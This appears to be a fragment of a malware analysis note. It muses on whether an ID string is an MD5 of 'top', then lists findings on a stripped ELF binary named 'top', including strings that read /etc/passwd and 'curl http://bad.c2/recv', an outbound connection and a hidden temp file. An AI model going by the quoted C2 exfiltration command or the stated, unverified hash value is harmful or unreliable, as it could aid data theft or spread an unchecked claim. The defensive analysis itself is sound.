MD5 produces 32 hex digits from any input. Could this be an MD5 of something like "top" or "top keyword" ? Let’s test: MD5( top ) = fa4c9a8ae152fa85ef4d9c2ccf2c40cd – not a match. So not a hash of “top”. It’s likely a unique record ID.
Local Findings: - Path discovered: /opt/monitoring/top - File type: ELF 64‑bit LSB executable, stripped. - Size: 48 KB - Strings: “/proc/self/status”, “/etc/passwd”, “curl http://bad.c2/recv” - Behavior (sandbox): Established outbound TCP to 185.62.71.23:443, wrote to /tmp/.t0p 5a82f65b9a1b41b1af1bc9df802d15db top